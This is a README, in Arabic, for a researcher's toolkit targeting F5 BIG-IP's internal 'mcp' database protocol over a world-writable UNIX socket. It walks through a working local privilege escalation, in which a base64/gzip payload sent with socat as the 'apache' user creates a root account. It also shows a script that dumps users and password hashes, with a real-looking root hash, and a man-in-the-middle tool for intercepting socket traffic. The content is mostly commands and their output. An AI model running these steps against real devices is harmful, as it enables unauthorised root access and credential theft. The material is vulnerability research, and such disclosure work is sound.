
تنفيذ لبروتوكول `mcp` الخاص بـ F5، بما في ذلك أدوات MitM لالتقاط حركة المرور أثناء البحث عن الثغرات الأمنية.
هذا ليس مكتملاً أو جاهزاً بعد، لكنني أردت إيداع الكود.
هذا ينفّذ بشكل أساسي بروتوكول قاعدة بيانات F5 المسمى "mcp"، والذي يعمل عبر مقبس UNIX domain. ذلك يعني أنك تحتاج إلى شل على جهاز F5 قبل أن تتمكن من استخدام أيٍّ من هذه الأدوات. عادةً ستمرر مخرجات سكربت إلى /var/run/mcp باستخدام socat، ثم تغذي الاستجابة إلى mcp-parser.rb. مزيد من التفاصيل أدناه.
ملخص سريع للسكربتات:
mcp-getloot.rb - يُنشئ رسالة ستفرّغ المستخدمين والمتغيراتmcp-privesc.rb - يُنشئ رسالة ستنشئ حساب مستخدمmcp-parser.rb - يحلل رسائل mcp التي تصل على stdinmcp-mitm.rb - يتنصت على رسائل mcp على جهاز هدف (يتطلب تكوين ssh بلا كلمة مرور إلى root)mcp-builder.rb - مكتبة لبناء رسائل mcp (لا تحتاج لاستخدامها مباشرة)mcp-generateobjects.rb - أداة لتوليد mcp-objects.txt (لا ينبغي أن تحتاجها)MCP هي قاعدة بيانات احتكارية (على حد علمي) تستخدمها F5 BigIP. يتم الوصول إليها عبر /var/run/mcp، وهو مقبس UNIX domain بصلاحيات 0777 (أي يمكن لأي مستخدم الوصول إليه).
البروتوكول بنمط TLV، ويتضمن عدداً كبيراً من الأنواع (أكثر من 41,000). جميعها مذكورة في mcp-objects.txt.
لقد نفذت محللاً يمكنك أن تجده في mcp-parser.rb، ويمكنك العثور على مجموعة من الرسائل المختلفة في mcp-parser-tests.rb.
كما أنشأت باني، mcp-builder.rb، على الرغم من أنه غير مصمم ليكون سهل الاستخدام. لدينا دالة معرّفة مسبقاً تُنشئ حزمة MCP تُنشئ حساب مستخدم على مستوى root، وهو أمر رائع. يمكنك استخدام mcp-privesc.rb لإنشاء هذه الحزمة.
للاتصال بـ MCP مباشرة، ستستخدم عادةً socat. الكود في mcp-builder.rb يمكنه إنشاء حزم، لكنه غير مصمم ليعمل مباشرة. السكربتات التي ربما تريد استخدامها مباشرة هي:
mcp-getloot.rb - للحصول على المستخدمين وإعدادات التكوينmcp-privesc.rb - لإضافة حساب جديد بمستوى rootmcp-parser.rb - لتحليل الاستجابة (على stdin)لاستخدام أحد سكربتات الاستعلام، نفّذه وابحث عن طريقة لإرسال المخرجات إلى المقبس UNIX على الهدف. إليك مثال نقوم فيه بضغط gzip + ترميز base64 لمخرجات mcp-privesc.rb:
$ ruby ./mcp-privesc.rb blogtest MyFunPW | gzip | base64 -w0
Attempting to create a crypt-sha512 hash of the password
Writing an `mcp` message to stdout that'll create an account: blogtest / $6$vdznqfyc$q9LEJmhlDZK3HQY0L0WuiKfXaKJtQmOY7lIkMS/IxftTmZs.PdlYXxmxjRQ4f529gl13NsqWlZdd/eksunJT01
Send it to the target using: socat -t100 - UNIX-CONNECT:/var/run/mcp < mcpmessage.bin
H4sIAAAAAAAAA2NgYBBnQAICGgy8QIpfQJOBH0izM7AmpuRm5oFkkJVx54CVcajaMbBChSxR5KPA8oYCLGBaU4ANbBwXA0dSTn56SWpxiQA7RKcAB8yiaMecnFgg8yAWg3ZyC4LpjdxC6AbJnwSLcDCwOefn5ubnCcZDDOaWBItzM3DqJ2Xm6SclFmdwi4ClGLmFwVIpDEkqZiplKVV5hWmVySqFlj6uXrkZOS5R3sYegZEGPgbhpZneaRGJ3l4lgbn+keY5ntm+wfqeFWklIblRxXoBKTmRERW5FVlBgSZppkaW6TmGxn7FheE5USkp+qnZxaV5XiEGhmCnIXsoD+wRBgAyeb1ueQEAAA==
ثم يمكننا نسخها ولصقها في جلسة ssh على الهدف، حيث تُرسل إلى مقبس UNIX (لاحظ أننا نفعل ذلك كمستخدم غير root كإثبات على أنه ممكن):
$ whoami
apache
$ echo -ne 'H4sIAAAAAAAAA2NgYBBnQAICGgy8QIpfQJOBH0izM7AmpuRm5oFkkJVx54CVcajaMbBChSxR5KPA8oYCLGBaU4ANbBwXA0dSTn56SWpxiQA7RKcAB8yiaMecnFgg8yAWg3ZyC4LpjdxC6AbJnwSLcDCwOefn5ubnCcZDDOaWBItzM3DqJ2Xm6SclFmdwi4ClGLmFwVIpDEkqZiplKVV5hWmVySqFlj6uXrkZOS5R3sYegZEGPgbhpZneaRGJ3l4lgbn+keY5ntm+wfqeFWklIblRxXoBKTmRERW5FVlBgSZppkaW6TmGxn7FheE5USkp+qnZxaV5XiEGhmCnIXsoD+wRBgAyeb1ueQEAAA==' | base64 -d | gunzip - | socat -t100 - UNIX-CONNECT:/var/run/mcp | gzip | base64 -w0
H4sIAB91UGMAA2NgYJBjQALcIQy8QEqMO5SBFcwPZ+AR0OCOAJKaYAUEVXNHgVRzCzIwAABM8W1YXAAAAA==
bash-4.2$ su blogtest
Password:
[...]
[blogtest@localhost:NO LICENSE:Standalone] config # whoami
root
يمكننا أيضاً تحليل الاستجابة التي حصلنا عليها باستخدام mcp-parser.rb:
$ echo -ne 'H4sIAB91UGMAA2NgYJBjQALcIQy8QEqMO5SBFcwPZ+AR0OCOAJKaYAUEVXNHgVRzCzIwAABM8W1YXAAAAA==' | base64 -d | gunzip - | ruby ./mcp-parser.rb
result (structure [22 bytes]):
result_code (ulong) = 0x00000000 (0)
result_operation (tag) = user_authenticated
result_type (tag) = user_authenticated_name
result (structure [22 bytes]):
result_code (ulong) = 0x00000000 (0)
result_operation (tag) = create
result_type (tag) = userdb_entry
يمكنك، بالطبع، فعل كل ذلك بأمر واحد؛ إليك كيف يمكنك استخدام mcp-getloot.rb:
$ ruby ./mcp-getloot.rb | ssh [email protected] socat -t100 - UNIX-CONNECT:/var/run/mcp | ruby ./mcp-parser.rb | head -n30
Writing an `mcp` message to stdout that'll query for interesting stuff
Send it to the target using: socat -t100 - UNIX-CONNECT:/var/run/mcp < mcpmessage.bin
query_reply (structure [949 bytes]):
userdb_entry (structure [233 bytes]):
userdb_entry_name (string [6 bytes]) = "root"
trunk_virtual_mbr_transaction_id (ulong) = 0x00000001 (1)
userdb_entry_partition_id (string [8 bytes]) = "Common"
fw_analytics_settings_dns_collect_dst_i... (long) = 0xffffffff (4294967295)
userdb_entry_is_system (ulong) = 0x00000001 (1)
userdb_entry_oldpasswd (string [2 bytes]) = ""
userdb_entry_shell (string [11 bytes]) = "/bin/bash"
userdb_entry_gecos (string [6 bytes]) = "root"
userdb_entry_is_crypted (ulong) = 0x00000001 (1)
userdb_entry_passwd (string [100 bytes]) = "$6$UIHYzBX6$UClrSPt1o/G2meP27zBzRJnAjWEIkhNEQzqDYwn5gtnoKqFeGhnJveUUHGavaPU1FO9eif2pnADjDN/5YgMI3/"
userdb_entry_description (string [2 bytes]) = ""
userdb_entry_object_id (ulong) = 0x00002a70 (10864)
userdb_entry (structure [251 bytes]):
userdb_entry_name (string [7 bytes]) = "admin"
[...]
db_variable (structure [224 bytes]):
db_variable_name (string [38 bytes]) = "platform.diskmonitor.freelast.vmdisk"
db_variable_transaction_id (ulong) = 0x0000004b (75)
db_variable_scf_config (string [7 bytes]) = "false"
db_variable_maximum (string [2 bytes]) = ""
db_variable_minimum (string [2 bytes]) = ""
db_variable_data_type (string [9 bytes]) = "integer"
db_variable_sync_type (string [18 bytes]) = "private_internal"
db_variable_default (string [3 bytes]) = "0"
db_variable_value (string [3 bytes]) = "0"
db_variable_display_name (string [38 bytes]) = "Platform.DiskMonitor.FreeLast.vmdisk"
db_variable_object_id (ulong) = 0x0000e705 (59141)
db_variable_enumerated (array [6 bytes]): Array data: 000f00000000
كما كتبت أداة لفحص/تسجيل استعلامات قاعدة البيانات في الوقت الفعلي - mcp-mitm.rb. هذا ليس استغلالاً، إنه مجرد أداة تحليل تتطلب تسجيل دخول بصلاحيات root. عملياً، تنقل /var/run/mcp وتستبدله بمقبس نتحكم به، ثم تحلل كل الرسائل التي تمر عبره.
لتشغيله:
ssh root@<target> بدون كلمة مرور أو أي إدخال آخر (أو عدّل الكود وأوقف تشغيل DO_SETUP)أي "ضرر" محتمل يُصلح بإعادة التشغيل، لأن الخادم يُنشئ المقبس عند الإقلاع، لكنك غالباً لا تريد فعل ذلك على بيئة الإنتاج.
على أي حال، نفّذه بدون وسائط لعرض الاستخدام، ثم املأ عناوين IP المهمة:
$ ruby ./mcp-mitm.rb
Usage: ruby ./mcp-mitm.rb <your ip> <target ip> [listen port 1] [listen port 2]
[...]
$ ruby ./mcp-mitm.rb 10.0.0.179 10.0.0.162
$ ruby ./mcp-mitm.rb 10.0.0.179 10.0.0.162
Configuration (edit the script to change, this is a PoC!):
Your IP: 10.0.0.179
Target IP: 10.0.0.162
Listening port 1: 1234
Listening port 2: 1235
SSH into the target to set things up: true
(Make sure you can ssh into the host as root with no password)
(Yes yes, I know it's a PoC!)
SSH'ing into the server to set things up
Ready!
إذا انتظرت قليلاً (أو فعلت شيئاً على الخادم)، فسترى جلسات:
Received session @ #<TCPSocket:0x000000000170d630> <--> #<TCPSocket:0x000000000170d658>
user_authenticated (structure [15 bytes]):
user_authenticated_name (string [7 bytes]) = "admin"
start_transaction (structure [8 bytes]):
start_transaction_load_type (ulong) = 0x00000000 (0)
[...]
الضغط على Ctrl-c سيوقفه ويصلح المقبس:
^CSSH'ing into the server to fix things
Session 1 closed?
Ending thread
Ending thread
Traceback (most recent call last):
3: from ./mcp-mitm.rb:149:in `<main>'
2: from ./mcp-mitm.rb:149:in `loop'
1: from ./mcp-mitm.rb:151:in `block in <main>'
./mcp-mitm.rb:151:in `accept': Interrupt
وهذا كل شيء!